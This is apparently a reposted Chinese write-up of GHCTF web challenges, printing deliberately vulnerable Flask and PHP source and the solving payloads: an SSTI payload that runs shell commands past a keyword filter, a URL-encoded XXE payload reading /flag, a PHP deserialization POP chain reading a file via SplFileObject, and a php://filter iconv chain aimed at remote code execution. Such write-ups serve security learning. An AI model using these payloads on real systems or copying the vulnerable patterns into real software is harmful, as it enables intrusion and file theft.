GHCTF web方向题解

upload?SSTI!

import os
import refrom flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirect
from werkzeug.utils import secure_filename
import os
from werkzeug.utils import secure_filenameapp = Flask(__name__)# 配置信息
UPLOAD_FOLDER = 'static/uploads'  # 上传文件保存目录
ALLOWED_EXTENSIONS = {'txt', 'log', 'text','md','jpg','png','gif'}
MAX_CONTENT_LENGTH = 16 * 1024 * 1024  # 限制上传大小为 16MBapp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = MAX_CONTENT_LENGTH# 创建上传目录(如果不存在)
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def is_safe_path(basedir, path):return os.path.commonpath([basedir,path])def contains_dangerous_keywords(file_path):dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]with open(file_path, 'rb') as f:file_content = str(f.read())for keyword in dangerous_keywords:if keyword in file_content:return True  # 找到危险关键字,返回 Truereturn False  # 文件内容中没有危险关键字
def allowed_file(filename):return '.' in filename and \filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS@app.route('/', methods=['GET', 'POST'])
def upload_file():if request.method == 'POST':# 检查是否有文件被上传if 'file' not in request.files:return jsonify({"error": "未上传文件"}), 400file = request.files['file']# 检查是否选择了文件if file.filename == '':return jsonify({"error": "请选择文件"}), 400# 验证文件名和扩展名if file and allowed_file(file.filename):# 安全处理文件名filename = secure_filename(file.filename)# 保存文件save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)file.save(save_path)# 返回文件路径(绝对路径)return jsonify({"message": "File uploaded successfully","path": os.path.abspath(save_path)}), 200else:return jsonify({"error": "文件类型错误"}), 400# GET 请求显示上传表单(可选)return '''<!doctype html><title>Upload File</title><h1>Upload File</h1><form method=post enctype=multipart/form-data><input type=file name=file><input type=submit value=Upload></form>'''@app.route('/file/<path:filename>')
def view_file(filename):try:# 1. 过滤文件名safe_filename = secure_filename(filename)if not safe_filename:abort(400, description="无效文件名")# 2. 构造完整路径file_path = os.path.join(app.config['UPLOAD_FOLDER'], safe_filename)# 3. 路径安全检查if not is_safe_path(app.config['UPLOAD_FOLDER'], file_path):abort(403, description="禁止访问的路径")# 4. 检查文件是否存在if not os.path.isfile(file_path):abort(404, description="文件不存在")suffix=os.path.splitext(filename)[1]print(suffix)if suffix==".jpg" or suffix==".png" or suffix==".gif":return send_from_directory("static/uploads/",filename,mimetype='image/jpeg')if contains_dangerous_keywords(file_path):# 删除不安全的文件os.remove(file_path)return jsonify({"error": "Waf!!!!"}), 400with open(file_path, 'rb') as f:file_data = f.read().decode('utf-8')tmp_str = """<!DOCTYPE html><html lang="zh"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>查看文件内容</title></head><body><h1>文件内容:{name}</h1>  <!-- 显示文件名 --><pre>{data}</pre>  <!-- 显示文件内容 --><footer><p>&copy; 2025 文件查看器</p></footer></body></html>""".format(name=safe_filename, data=file_data)return render_template_string(tmp_str)except Exception as e:app.logger.error(f"文件查看失败: {str(e)}")abort(500, description="文件查看失败:{} ".format(str(e)))# 错误处理(可选)
@app.errorhandler(404)
def not_found(error):return {"error": error.description}, 404@app.errorhandler(403)
def forbidden(error):return {"error": error.description}, 403if __name__ == '__main__':app.run("0.0.0.0",debug=False)

根据源码分析可知,我们上传上去的文件内容会被渲染,这里就可能照成ssti漏洞

根据源码,文件渲染的路径为/file/文件名

这里确实成功渲染

def contains_dangerous_keywords(file_path):dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]

看了看黑名单,这里直接用fengjing

from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)def waf(s: str): # 如果字符串s可以通过waf则返回True, 否则返回Falsedangerous_patterns = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]for pattern in dangerous_patterns:if pattern in s:# print("Dangerous pattern found:", pattern)return Falsereturn Trueif __name__ == "__main__":shell_payload, _ = exec_cmd_payload(waf, "ls")# config_payload = config_payload(waf)print(shell_payload)# print(f"{config_payload=}")

运行即可得到payload

{%set pi='so'[::-1]%}{%set ts=lipsum|escape|batch(22)|first|last%}{%set gl=ts*2+'globals'+ts*2%}{%set bu=ts*2+'builtins'+ts*2%}{%set im=ts*2+'import'+ts*2%}{{g.pop[gl][bu][im](pi).popen('ls').read()}}

(>﹏<)

考xxe

源码:

from flask import Flask,request
import base64
from lxml import etree
import re
app = Flask(__name__)@app.route('/')
def index():return open(__file__).read()@app.route('/ghctf',methods=['POST'])
def parse():xml=request.form.get('xml')print(xml)if xml is None:return "No System is Safe."parser = etree.XMLParser(load_dtd=True, resolve_entities=True)root = etree.fromstring(xml, parser)name=root.find('name').textreturn name or Noneif __name__=="__main__":app.run(host='0.0.0.0',port=8080)

直接POST传参xml即可

%3c%21%44%4f%43%54%59%50%45%20%74%65%73%74%20%5b%0d%0a%20%20%20%20%3c%21%45%4e%54%49%54%59%20%78%78%65%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%66%6c%61%67%22%3e%0d%0a%5d%3e%0d%0a%3c%72%6f%6f%74%3e%0d%0a%20%20%20%20%3c%6e%61%6d%65%3e%26%78%78%65%3b%3c%2f%6e%61%6d%65%3e%0d%0a%3c%2f%72%6f%6f%74%3e

SQL???

这题考sqlite注入,这里可以直接用sqlmap跑

ezzzz_pickle

admin/admin123弱口令直接登录

点击读取flag,抓包

可能存在文件读取

这里直接非预期了,直接读环境变量

ez_readfile

这题的思路其实就是打cnext,但是直接用脚本的话跑不出来,感觉是吞字符的原因。

md5强碰撞,可以用工具fastcoll_v1.0.0.5.exe生成,也可以直接用网上的payload

文章https://blog.csdn.net/EC_Carrot/article/details/109527378

这里发现我bp的post传的字符是可以利用的,但是python发包不行,所以就没有直接用cnext的脚本直接跑了

然后找文章看看能不能直接本地生成payload直接打的

原来只要读这两个文件的内容即可

找到这个工具https://github.com/kezibei/php-filter-iconv

我们先利用

php://filter/convert.base64-encode/resource=/proc/self/maps

下载,然后看到这个文件里面有说明libc具体的位置

php://filter/convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.31.so

然后改成脚本里面的名字maps和libc-2.23.so放在exp的同一个目录下面

然后exp2.py写的命令是

因为我怕php的字符会吞掉或者转义之类的没掉,然后直接看flag的名字就行

php://filter/read=zlib.inflate|zlib.inflate|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.UTF-8.ISO-2022-CN-EXT|convert.quoted-printable-decode|convert.iconv.latin1.latin1/resource=data:text/plain;base64,e3vXMU9lu2hD4rr7hkVMYeVbXXSzEq0Xl64L2BB5/YQa9%2bHlZ9S%2bn0g2vKmizWz0gHE//5Hzz1a4v7qknRG9lYkBL9jQkmv9%2bJ7c97DnK%2b0erdi6RneSNAt%2bHQmCt8uO7bV9t/ZccO2RwOzIaBVzDvw6Dihte9tTXX0neu7yXx2Lr23a5pEngF9HxKni7ML8r/de2Vy1msdgf23xv%2bdHp6%2bXvxW4/XH0v47jF299/PfT/e8C12t1199/7g5TqZfDbx7Dj83Vqw23hc%2b%2bbfNWt%2b981Z%2bA/u3PP1bIrpV9P999bfLeVxf3ya4v92nv///4/939UzQbXuMa7j/9efovw6fn%2bt%2bZT8y3P3/5vGnf9%2bcfv13%2b%2bE3q9V65/iqb7Y9/Pq74%2bO3xx2%2bF9V%2bXF9b8%2bVpRd0f/28cpn2J%2bH9/4/n/t52ybOX/WyubP/76x7//U%2bzV7/hfLHC//V/a90Gaf7PvfH%2b%2b5PX98Vvf0r7/ak%2bzzCfju9I1tYt/D3gNjZG1g2Lf19/8JnnzLSCBOSuZOvGm8t3%2bLRndHyj8C5vtcl5xpe/m3R/emDo9n/KMGjxo8ajDZBm/Ys/ZaxMui7ZVb5YtvL3IpkiZgtk7%2batOwXXdy494ev7NNY%2bIdNkKFwe2s3ql65bPDfxtu1/VS2U6oINi07daje1k1/vK/p8qbn5r%2bI/rn8/i6v9Wagg/LCNgUcS0s%2bk507/uXyfuzpuiLCeax41ffkJq79ejeqz/m2X1b7fYzSfBjPgA=

生成的poc

bp发包之后没回显,但其实已经写入了

成功拿到flag名字

f1wlxekj1lwjek1lkejzs1lwje1lwesjk1wldejlk1wcejl1kwjelk1wjcle1jklwecj1lkwcjel1kwjel1cwjl1jwlkew1jclkej1wlkcj1lkwej1lkcwjellag

非预期解,直接读docker文件名字

Popppppp

pop链构造

源码:

<?php
error_reporting(0);class CherryBlossom {public $fruit1;public $fruit2;public function __construct($a) {$this->fruit1 = $a;}function __destruct() {echo $this->fruit1;}public function __toString() {$newFunc = $this->fruit2;return $newFunc();}
}class Forbidden {private $fruit3;public function __construct($string) {$this->fruit3 = $string;}public function __get($name) {$var = $this->$name;$var[$name]();}
}class Warlord {public $fruit4;public $fruit5;public $arg1;public function __call($arg1, $arg2) {$function = $this->fruit4;return $function();}public function __get($arg1) {$this->fruit5->ll2('b2');}
}class Samurai {public $fruit6;public $fruit7;public function __toString() {$long = @$this->fruit6->add();return $long;}public function __set($arg1, $arg2) {if ($this->fruit7->tt2) {echo "xxx are the best!!!";}}
}class Mystery {public function __get($arg1) {array_walk($this, function ($day1, $day2) {$day3 = new $day2($day1);foreach ($day3 as $day4) {echo ($day4 . '<br>');}});}
}class Princess {protected $fruit9;protected function addMe() {return "The time spent with xxx is my happiest time" . $this->fruit9;}public function __call($func, $args) {call_user_func([$this, $func . "Me"], $args);}
}class Philosopher {public $fruit10;public $fruit11="sr22kaDugamdwTPhG5zU";public function __invoke() {if (md5(md5($this->fruit11)) == 666) {return $this->fruit10->hey;}}
}class UselessTwo {public $hiddenVar = "123123";public function __construct($value) {$this->hiddenVar = $value;}public function __toString() {return $this->hiddenVar;}
}class Warrior {public $fruit12;private $fruit13;public function __set($name, $value) {$this->$name = $value;if ($this->fruit13 == "xxx") {strtolower($this->fruit12);}}
}class UselessThree {public $dummyVar;public function __call($name, $args) {return $name;}
}class UselessFour {public $lalala;public function __destruct() {echo "Hehe";}
}if (isset($_GET['GHCTF'])) {unserialize($_GET['GHCTF']);
} else {highlight_file(__FILE__);
}

我们最终的目的还是得走到Mystery类,通过原生类来读取flag

这里讲下**array_walk**函数

  • 参数 **$arg1**:这是尝试访问的属性名称。然而,在此方法体内并没有直接使用这个参数。
  • **array_walk($this, ...)**:该函数会对**$this**(即当前对象)的每个元素应用用户自定义的回调函数。这里的作用是遍历对象的所有属性。
  • 匿名函数**:作为****array_walk**的第二个参数传入,它接收两个参数:
  • **$day1**:当前属性的值。
  • **$day2**:当前属性的名称。

最终pop链

< ?phpclass CherryBlossom {
public $fruit1;
public $fruit2;
}class Samurai {
public $fruit6;
public $fruit7;
}class Philosopher {
public $fruit10;
public $fruit11="SwjI4H8ZbLdWv6zJxOZN";
}class Princess {
//
public $fruit9;
}class Mystery {
public $SplFileObject="../../../flag44545615441084";
}$a = new
CherryBlossom();
$b = new
CherryBlossom();
$c = new
Samurai();
$d = new
Princess();
$e = new
Philosopher();
$f = new
Mystery();
$a->fruit1 =$c;
$a->fruit1->fruit6 =$d;
$a->fruit1->fruit6->fruit9 =$b;
$a->fruit1->fruit6->fruit9->fruit2 =$e;
$a->fruit1->fruit6->fruit9->fruit2->fruit10 =$f;
echo
urlencode(serialize($a));

$f是一个Mystery类的实例,那么理论上,当__get方法尝试处理SplFileObject属性时,它会尝试根据字符串"SplFileObject"创建一个新实例,并以"../../../flag44545615441084"为参数传递给构造函数。SplFileObject的构造函数需要一个有效的文件路径作为参数,若该路径有效,则会导致读取指定文件内容的行为。

类似的可以先通过FilesystemIterator函数遍历文件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/898067.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

《Python实战进阶》No21:数据存储:Redis 与 MongoDB 的使用场景

第21集&#xff1a;数据存储&#xff1a;Redis 与 MongoDB 的使用场景 摘要 在现代应用开发中&#xff0c;数据存储的选择直接影响系统的性能、扩展性和成本。Redis 和 MongoDB 是两种极具代表性的数据库技术&#xff0c;它们分别擅长解决不同场景下的问题。本文将深入探讨 Re…

【Agent】OpenManus-Prompt组件详细分析

1. 提示词架构概述 OpenManus 的提示词组件采用了模块化设计&#xff0c;为不同类型的智能体提供专门的提示词模板。每个提示词模块通常包含两种核心提示词&#xff1a;系统提示词&#xff08;System Prompt&#xff09;和下一步提示词&#xff08;Next Step Prompt&#xff0…

蓝桥杯刷题周计划(第三周)

目录 前言题目一题目代码题解分析 题目二题目代码题解分析 题目三题目代码题解分析 题目四题目代码题解分析 题目五题目代码题解分析 题目六题目代码题解分析 题目七题目代码题解分析 题目八题目代码题解分析 题目九题目代码题解分析 题目十题目代码题解分析 前言 大家好&#…

mysql学习-常用sql语句

1、安装mysql参考网上链接&#xff0c;进入mysql数据库 mysql -u root -p 2、数据库操作 2.1、创建数据库 create database 数据库名 default character set utf8; 2.2、显示所有数据库 show databases; 2.3、选择数据库 use elementInfo; 2.4、删除数据库 drop database…

(全)2024下半年真题 系统架构设计师 综合知识 答案解析01

系统架构设计师第二版教程VIP课程https://edu.csdn.net/course/detail/40283 操作系统 下列选项中不能作为预防死锁措施的是 。 A. 破坏“循环等待"条件 B. 破坏“不可抢占”条件 C. 破坏“互斥”条件 D. 破坏“请求和保持”条件 答案&#xff1a;C 解析&…

Java泛型程序设计使用方法

Java泛型程序设计是Java语言中一项强大的特性&#xff0c;它允许你编写更加通用和类型安全的代码。以下是Java泛型程序设计的使用方法和技巧&#xff1a; 1. 基本概念 泛型类&#xff1a;可以定义一个类&#xff0c;其中的某些类型是参数化的。 public class Box<T> {pr…

LeetCode算法心得——零数组变换IV(0-1背包)

大家好&#xff0c;我是晴天学长&#xff0c;很久很久没有写算法题解了&#xff0c;今天开始转python了。&#x1f4aa;&#x1f4aa;&#x1f4aa; 1&#xff09;统计打字方案数 给你一个长度为 n 的整数数组 nums 和一个二维数组 queries &#xff0c;其中 queries[i] [li, …

superset部署记录

具备网络条件的&#xff0c;完全可以一键部署&#xff0c;不需要折腾。网络条件不具备时&#xff0c;部署记录留存备查。 1、正常模式 详细介绍参考&#xff1a;【开源项目推荐】Apache Superset——最优秀的开源数据可视化与数据探索平台-腾讯云开发者社区-腾讯云 (tencent.c…

AI大模型完全指南:从核心原理到行业落地实践

目录 大模型技术演进脉络核心原理解析与数学基础主流大模型架构对比开发环境搭建与模型部署Prompt Engineering高阶技巧垂直领域应用场景实战伦理与安全风险防控前沿发展方向与学习资源 一、大模型技术演进脉络 1.1 发展历程里程碑 2017&#xff1a;Transformer架构诞生&…

HTB 学习笔记 【中/英】《前端 vs. 后端》P3

&#x1f4cc; 这篇文章讲了什么&#xff1f; 介绍了 前端&#xff08;客户端&#xff09; 和 后端&#xff08;服务器端&#xff09; 的区别。解释了 全栈开发&#xff08;Full Stack Development&#xff09;&#xff0c;即前端后端开发。介绍了 前端和后端常用的技术。讨论…

golang中的结构体

1.简介 go也支持面向对象编程(OOP)&#xff0c;但是和传统的面向对象编程有区别&#xff0c;并不是纯粹的面向对象语言。所以说go支持面向对象编程特性是比较准确的。go没有类(class)&#xff0c;go语言的结构体(struct)和其它编程语言的类(class)有同等的地位&#xff0c;你可…

Day 64 卡玛笔记

这是基于代码随想录的每日打卡 参加科学大会&#xff08;第六期模拟笔试&#xff09; 题目描述 ​ 小明是一位科学家&#xff0c;他需要参加一场重要的国际科学大会&#xff0c;以展示自己的最新研究成果。 ​ 小明的起点是第一个车站&#xff0c;终点是最后一个车站。然…

《C语言中\0:字符串的神秘“终结者”》

&#x1f680;个人主页&#xff1a;BabyZZの秘密日记 &#x1f4d6;收入专栏&#xff1a;C语言 &#x1f30d;文章目入 引言一、字符串的定义与存储二、\0&#xff1a;字符串的终结标志三、\0在字符串操作中的作用四、\0的陷阱与注意事项五、\0与字符串的动态分配六、总结 引言…

九、Prometheus 监控windows(外部)主机

一、监控 Windows 主机的方法 方式 1:使用 Windows Exporter Windows Exporter(wmi_exporter) 是 Prometheus 官方推荐的 Windows 监控工具,它可以采集 CPU、内存、磁盘、网络、进程、服务状态等 指标。 方式 2:使用 Node Exporter for Windows node_exporter 主要用于…

TCP/IP协议中三次握手(Three-way Handshake)与四次挥手(Four-way Wave)

TCP/IP协议中三次握手&#xff08;Three-way Handshake&#xff09;与四次挥手&#xff08;Four-way Wave&#xff09; 一、TCP三次握手&#xff08;Three-way Handshake&#xff09;二、TCP四次挥手&#xff08;Four-way Wave&#xff09;三、常见问题解答总结为什么三次握手不…

Java集成WebSocket实现消息推送,详细步骤以及出现的问题如何解决

Java集成WebSocket实现消息推送 WebSocket是一种在单个TCP连接上进行全双工通信的协议,非常适合实现实时消息推送功能。与传统的HTTP请求-响应模式不同,WebSocket建立连接后可以保持长连接状态,服务器可以主动向客户端推送数据,这使得它成为实现聊天应用、通知系统和实时数…

如何在Linux中切换用户?

Linux切换用户 在Linux系统中&#xff0c;切换用户可以通过使用su命令和sudo命令实现 1、su命令 su是switch user的缩写&#xff0c;用于切换到另一个用户。su命令的语法如下&#xff1a; su [选项] [用户名]以下是一些示例&#xff1a; # 切换到root用户 su - # 切换到指定…

网页制作16-Javascipt时间特效の设置D-DAY倒计时

01、效果图 02、应用 new Date()//返回今天日期 new Date("April 1,2025")//返回目标日期 document.write()//文档显示 getTime()返回当日毫秒数 Math.floor(amadays / (1000 * 60 * 60 * 24)//把毫秒换算天 03、代码 <!doctype html> <html> &…

c#Winform也可以跨平台了GTK框架GTKSystem.Windows.Forms

一、简介 >> 新版下载&#xff0c;问题求助 QQ群&#xff1a;1011147488 1032313876 236066073&#xff08;满&#xff09; Visual Studio原生开发&#xff0c;无需学习&#xff0c;一次编译&#xff0c;跨平台运行. C#桌面应用程序跨平台&#xff08;windows、linux、…

`lower_bound`、`upper_bound` 和 `last_less_equal`

lower_bound、upper_bound 和 last_less_equal。它们的作用是在 有序数组 中查找目标值的位置。下面是对每个函数的详细解释&#xff1a; 1. lower_bound 函数 功能&#xff1a; 在有序数组 a 中查找第一个 大于或等于 target 的元素的位置。 参数&#xff1a; a[]&#xf…